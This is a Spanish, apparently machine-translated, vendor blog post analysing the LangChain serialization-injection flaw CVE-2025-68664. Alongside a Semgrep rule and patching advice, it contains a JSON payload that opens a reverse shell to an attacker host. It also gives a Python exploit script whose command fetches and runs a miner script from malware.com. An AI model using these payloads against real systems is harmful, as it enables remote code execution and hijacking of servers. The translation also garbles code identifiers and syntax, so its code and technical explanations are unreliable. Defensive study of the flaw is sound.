En la guerra de seguridad de IA de 2025, la revelación de Vulnerabilidad de inyección de serialización de LangChain CVE-2025-68664 golpeado con la fuerza de una carga de profundidad. Si Prompt Injection consiste en "engañar" al modelo en la capa de aplicación, CVE-2025-68664 consiste en "adueñarse" del servidor en la capa de infraestructura.
Como estándar de orquestación de facto para la IA Agentic, la postura de seguridad de LangChain es crítica. CVE-2025-68664 (CVSS 9.8, Crítico) expone un fallo de arquitectura fundamental en la forma en que el marco maneja la restauración de estados complejos del Agente: Fallo de control en la instanciación de objetos JSON.
Este artículo abandona la información superficial. Desde una perspectiva de ingeniería inversa, diseccionaremos la langchain-core desmantelar toda la cadena de llamadas, desde JSON hasta RCE, y proporcionar reglas de automatización de nivel empresarial para Blue Teams.
Anatomía de la vulnerabilidad: Cuando carga Se convierte en una puerta trasera
La potencia de LangChain reside en su componibilidad. Para soportar la persistencia de Cadenas y Agentes, LangChain proporciona dumpd y carga que permiten serializar objetos Python en JSON y deserializarlos de nuevo en memoria.
La raíz de CVE-2025-68664 reside en el langchain-core/load/load.py módulo. En las versiones anteriores al parche 2025, el cargador se basaba en un mecanismo de asignación para decidir qué clases podían instanciarse. Sin embargo, este mecanismo contenía un fallo lógico: al procesar objetos serializados marcados como constructor el cargador no valida estrictamente la ruta del módulo en el archivo id campo. Esto permitía a los atacantes saltarse la lista de permisos y cargar módulos globales arbitrarios de Python.
Fallo lógico a nivel de fuente
En las versiones afectadas, la lógica de carga era más o menos así (simplificada para mayor claridad):
Python
`# Representación conceptual de la lógica vulnerable def load(obj, secrets_map=None): if isinstance(obj, dict) and "lc" in obj: # Extraer el ID del objeto, por ejemplo, ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")
# VULNERABILIDAD: Aunque la comprobación existe, no bloquea las bibliotecas estándar
# Un payload atacante ["subproceso", "check_output"] pasa a través de
if obj.get("type") == "constructor":
return _load_constructor(lc_id, obj.get("kwargs"))`
Los atacantes se aprovechan de ello elaborando lc_id para inducir importlib para cargar módulos sensibles del sistema (como os, subproceso, sys) y pasar argumentos maliciosos a sus constructores.
Armamento: La carga explosiva perfecta
Para los investigadores de Red Team, comprender la construcción de la carga útil es clave para la verificación. CVE-2025-68664 no requiere un desbordamiento binario complejo, solo un fragmento de JSON preciso.
Fase 1: Prototipo de explotación (PoC)
Un payload JSON estándar diseñado para hacer saltar una calculadora o reverse shell tiene este aspecto:
JSON
{ "lc": 1, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": {"args": ["bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell": false } }
Fase 2: Script de explotación Python
En un escenario real, un atacante inyectaría este payload en el endpoint "Import Config" de una Aplicación Web o en el almacén de Memoria de un Agente.
Python
`import requests import json
Objetivo: Un servicio de Agente AI que acepta archivos de configuración LangChain
url = "http://target-ai-service.com/api/v1/agent/import“
payload = { "lc": 1, "type": "constructor", "id": ["subproceso", "ejecutar"], "kwargs": { "args": ["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x"], "shell": True, "capture_output": True } }
Envío de los datos serializados maliciosos
El servidor desencadena un RCE al llamar a langchain.load(json_data)
r = requests.post(url, json=payload, headers={"Content-Type": "application/json"}) print(f "Estado del ataque: {r.status_code}")`
Defensa basada en IA: Tecnología de auditoría profunda de Penligent
Los escáneres web tradicionales (como Nikto u OWASP ZAP) suelen fallar contra CVE-2025-68664 porque no pueden entender el impacto semántico de una carga útil JSON en el tiempo de ejecución de Python. Ellos ven JSON válido; el servidor ve una instrucción de ejecución de comando.
Aquí es donde Penligent.ai demuestra su superioridad técnica. Penligent utiliza Auditoría de serialización con conciencia semántica:
- Análisis inverso AST: Los agentes de IA de Penligent no se limitan a hacer fuzz a ciegas. Primero analizan el AST (Abstract Syntax Tree) de la aplicación de destino para identificar la versión específica de LangChain y la lógica de carga. Localizan
cargaen el código base. - Verificación dinámica de la caja de arena: Durante la detección, Penligent simula el proceso de carga en una micro-VM aislada. Inyecta objetos serializados que contienen "Canary Tokens". Si el objeto activa con éxito una solicitud de red fuera de banda (OOB) (consulta DNS), el sistema confirma la vulnerabilidad con cero falsos positivos.
Para los equipos de seguridad de las empresas, Penligent ofrece una defensa de espectro completo desde "Code Commit" hasta "Runtime Monitoring", garantizando que ninguna configuración de agente malicioso se cuele en la producción.
Manual del Equipo Azul: Detección y reparación
Antes de desplegar completamente los parches, los Blue Teams necesitan reglas de detección para identificar los intentos de ataque.
1. Regla de análisis estático Semgrep
Añada la siguiente regla a su proceso CI/CD para escanear su código en busca de llamadas vulnerables:
YAML
"Reglas":
- id: langchain-unsafe-load patrones:
- patrón: langchain.load.load(...)
- pattern-not: langchain.load.load(..., valid_namespaces=["langchain"]) message: "Detectada deserialización insegura de LangChain. CVE-2025-68664 permite RCE. Restringe valid_namespaces o actualiza inmediatamente" languages: [python] severity: ERROR`
2. Remediación de emergencia
Plan A (Recomendado): Dependencias de actualización
LangChain ha parcheado esta lógica en langchain-core >= 0.3.15, introduciendo un mecanismo estricto de lista permitida por defecto.
Plan B (Temporal): Endurecimiento del código
Si no puede actualizar inmediatamente, debe restringir manualmente el ámbito de carga de la función de carga:
Python
`from langchain_core.load import load
Permitir forzosamente la carga sólo desde el espacio de nombres langchain
Rechaza el subproceso, el sistema operativo y otros módulos del sistema.
safe_config = load( unsafe_json_data, valid_namespaces=["langchain", "langchain_community"] )`
Conclusión
Vulnerabilidad de inyección de serialización de LangChain CVE-2025-68664 demuestra una vez más que la seguridad de la infraestructura de IA no puede basarse en la "confianza implícita". A medida que las aplicaciones LLM evolucionan de "Chatbots" a "Agentes Autónomos", la superficie de ataque dirigida a la serialización, el almacenamiento de estados y la invocación de herramientas crecerá exponencialmente.
Los ingenieros de seguridad deben reconocer que detrás de cada cargar() una Shell puede estar esperando.
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